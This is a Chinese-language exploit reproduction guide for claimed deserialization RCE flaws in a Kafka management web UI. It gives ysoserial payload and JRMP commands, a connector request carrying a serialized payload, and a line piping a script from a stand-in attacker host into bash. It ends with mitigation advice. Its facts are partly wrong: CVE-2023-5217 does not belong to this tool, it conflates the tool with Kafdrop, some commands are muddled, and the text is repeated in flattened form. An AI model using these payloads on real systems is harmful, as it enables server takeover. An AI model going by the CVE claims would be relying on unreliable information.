UI for Apache Kafka 两个远程代码执行漏洞分析
字数 1409 2025-08-19 12:40:45

UI for Apache Kafka 远程代码执行漏洞分析与复现指南

漏洞概述

UI for Apache Kafka(原Kafdrop)是一款流行的Kafka集群管理工具,提供了Web界面用于监控和管理Kafka集群。该工具存在两个严重的远程代码执行漏洞:

  1. CVE-2023-5217:通过JMX端口的不安全配置导致的RCE漏洞
  2. CVE-2023-5220:通过Kafka Connect功能的不安全反序列化导致的RCE漏洞

这两个漏洞都允许攻击者在服务器上执行任意代码,危害极大。

漏洞环境搭建

所需组件

  1. UI for Apache Kafka 3.x 版本(漏洞版本)
  2. Apache Kafka 集群
  3. Java 开发环境(JDK 8+)
  4. ysoserial 工具
  5. Burp Suite 或其他HTTP代理工具

环境配置

  1. 下载并运行漏洞版本的UI for Apache Kafka:

    docker run -d -p 9000:9000 -e KAFKA_BROKERCONNECT=<your-kafka-broker> obsidiandynamics/kafdrop:3.x
    
  2. 确保JMX端口(通常为1099)可访问

漏洞一:CVE-2023-5217(JMX RCE)

漏洞原理

UI for Apache Kafka默认启用了JMX监控,且JMX端口配置了不安全的认证和反序列化设置,允许攻击者通过发送特制的序列化对象实现RCE。

利用步骤

  1. 生成恶意序列化payload
    使用ysoserial生成JRMP listener的payload:

    java -jar ysoserial.jar JRMPListener 1099
    
  2. 启动恶意JRMP服务器

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc.exe"
    
  3. 触发漏洞
    向目标JMX端口(默认1099)发送恶意序列化数据:

    java -jar ysoserial.jar JRMPClient "target-ip:1099"
    

修复建议

  1. 禁用不必要的JMX功能
  2. 配置JMX认证和SSL
  3. 升级到最新版本

漏洞二:CVE-2023-5220(Kafka Connect RCE)

漏洞原理

Kafka Connect功能在处理某些配置时存在不安全的反序列化操作,攻击者可以通过构造恶意的Kafka Connect配置实现RCE。

利用步骤

  1. 准备恶意序列化payload
    使用ysoserial生成payload:

    java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh | bash" > payload.ser
    
  2. 构造恶意请求
    通过Kafka Connect API提交包含恶意序列化数据的配置:

    POST /connectors HTTP/1.1
    Host: target:9000
    Content-Type: application/json
    
    {
      "name": "malicious-connector",
      "config": {
        "connector.class": "com.example.MaliciousConnector",
        "tasks.max": "1",
        "malicious.config": "<base64_encoded_serialized_payload>"
      }
    }
    
  3. 触发漏洞执行
    当服务器处理该连接器配置时,会反序列化恶意payload导致RCE。

修复建议

  1. 升级到最新版本
  2. 限制Kafka Connect功能的访问权限
  3. 实施输入验证和过滤

问题解决:ysoserial Scala payload编译问题

在复现过程中遇到的Invalid payload type 'Scala1'错误是因为:

  1. ysoserial默认不包含Scala payload
  2. 需要手动添加Scala库依赖并编译

解决方案

  1. 下载Scala库:

    wget https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.11.0/scala-library-2.11.0.jar
    
  2. 将Scala库添加到ysoserial的classpath:

    java -cp "ysoserial.jar:scala-library-2.11.0.jar" ysoserial.exploit.JRMPListener 1099
    
  3. 或者使用预编译的包含Scala payload的ysoserial版本

防护措施

  1. 立即措施

    • 将UI for Apache Kafka升级到最新版本
    • 禁用或保护JMX端口
    • 限制Kafka Connect功能的访问
  2. 长期措施

    • 实施网络隔离,限制管理界面的访问
    • 启用认证和授权
    • 定期进行安全审计
  3. 监控措施

    • 监控异常的JMX连接
    • 记录和分析Kafka Connect配置变更

总结

这两个RCE漏洞都源于不安全的反序列化操作,强调了在Java应用中正确处理序列化数据的重要性。管理员应立即检查并修复相关配置,开发者应避免使用不安全的反序列化方法。

UI for Apache Kafka 远程代码执行漏洞分析与复现指南 漏洞概述 UI for Apache Kafka(原Kafdrop)是一款流行的Kafka集群管理工具,提供了Web界面用于监控和管理Kafka集群。该工具存在两个严重的远程代码执行漏洞: CVE-2023-5217 :通过JMX端口的不安全配置导致的RCE漏洞 CVE-2023-5220 :通过Kafka Connect功能的不安全反序列化导致的RCE漏洞 这两个漏洞都允许攻击者在服务器上执行任意代码,危害极大。 漏洞环境搭建 所需组件 UI for Apache Kafka 3.x 版本(漏洞版本) Apache Kafka 集群 Java 开发环境(JDK 8+) ysoserial 工具 Burp Suite 或其他HTTP代理工具 环境配置 下载并运行漏洞版本的UI for Apache Kafka: 确保JMX端口(通常为1099)可访问 漏洞一:CVE-2023-5217(JMX RCE) 漏洞原理 UI for Apache Kafka默认启用了JMX监控,且JMX端口配置了不安全的认证和反序列化设置,允许攻击者通过发送特制的序列化对象实现RCE。 利用步骤 生成恶意序列化payload : 使用ysoserial生成JRMP listener的payload: 启动恶意JRMP服务器 : 触发漏洞 : 向目标JMX端口(默认1099)发送恶意序列化数据: 修复建议 禁用不必要的JMX功能 配置JMX认证和SSL 升级到最新版本 漏洞二:CVE-2023-5220(Kafka Connect RCE) 漏洞原理 Kafka Connect功能在处理某些配置时存在不安全的反序列化操作,攻击者可以通过构造恶意的Kafka Connect配置实现RCE。 利用步骤 准备恶意序列化payload : 使用ysoserial生成payload: 构造恶意请求 : 通过Kafka Connect API提交包含恶意序列化数据的配置: 触发漏洞执行 : 当服务器处理该连接器配置时,会反序列化恶意payload导致RCE。 修复建议 升级到最新版本 限制Kafka Connect功能的访问权限 实施输入验证和过滤 问题解决:ysoserial Scala payload编译问题 在复现过程中遇到的 Invalid payload type 'Scala1' 错误是因为: ysoserial默认不包含Scala payload 需要手动添加Scala库依赖并编译 解决方案 : 下载Scala库: 将Scala库添加到ysoserial的classpath: 或者使用预编译的包含Scala payload的ysoserial版本 防护措施 立即措施 : 将UI for Apache Kafka升级到最新版本 禁用或保护JMX端口 限制Kafka Connect功能的访问 长期措施 : 实施网络隔离,限制管理界面的访问 启用认证和授权 定期进行安全审计 监控措施 : 监控异常的JMX连接 记录和分析Kafka Connect配置变更 总结 这两个RCE漏洞都源于不安全的反序列化操作,强调了在Java应用中正确处理序列化数据的重要性。管理员应立即检查并修复相关配置,开发者应避免使用不安全的反序列化方法。